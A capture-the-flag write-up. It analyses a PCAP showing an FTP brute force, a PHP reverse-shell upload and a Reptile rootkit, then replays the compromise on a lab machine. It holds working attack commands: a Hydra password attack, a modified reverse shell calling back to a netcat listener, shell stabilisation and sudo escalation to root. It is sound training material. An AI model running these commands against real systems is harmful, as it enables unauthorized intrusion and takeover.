Analysis Phase

Step 1: Open the PCAP

I opened the given .pcap file in Wireshark.

I saw a lot of FTP packets, so the attacker is targeting FTP.

None

Step 2: Brute Force

There were many login attempts in the FTP traffic. This means brute force. The tool used is:

Hydra
None

Step 3: Username

I found:

USER jenny

So the username is: jenny

Step 4: Password

After all unsuccessful login attemps, I looked for a successful login:

230 Login successful

The correct password appears right before this response.

None

Step 5: Working Directory

After login and found:

PWD

Output:

/var/www/html
None

Step 6: Uploaded File

"Right click on the request -> Follow -> TCP Stream "

In the same stream, I found:

STOR shell.php

So the uploaded file is: shell.php

None

Step 7: Backdoor URL

I filtered:

ftp-data

Then followed the TCP stream. The full PHP file is there, including the callback URL.

None

Step 8: First Command

From the shell stream:

whoami
None

Step 9: Hostname

From the same stream:

wir3

in the previous screenshot

Step 10: TTY Shell

python -c 'import pty; pty.spawn("/bin/bash")'

in the previous screenshot

Step 11: Root Access

sudo su

in the previous screenshot

Step 12: GitHub Project

Reptile
None

Step 13: Backdoor Type

rootkit

Exploitation Phase

Step 1: Crack FTP with Hydra

hydra -l jenny -P /usr/share/wordlists/rockyou.txt ftp://10.112.129.162
None

Step 2: Login via FTP

ftp <TARGET_IP>
ls

Step 3: Download and Edit the Shell

get shell.php

Changed the IP inside shell.php to my machine's IP.

None

Step 4: Upload the Modified Shell

put shell.php

Step 5: Start a Listener

nc -lvnp 4444

Step 6: Trigger the Shell

Visit in your browser:

http://<TARGET_IP>/shell.php

Step 7: Stabilize the Shell

python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

Another way was to directly login with the credentials we have to the SSH on port 22 with use jenny

Step 8: Escalate to Root

su jenny
sudo su
None

i directly go with the ssh but both will work just fine

Step 9: Get the Flag

cd /root/Reptile
cat flag.txt
None

And that's it, hope you enjoyed as i did. 🎉

Writeup by: Abraam · Date: 26/03/2026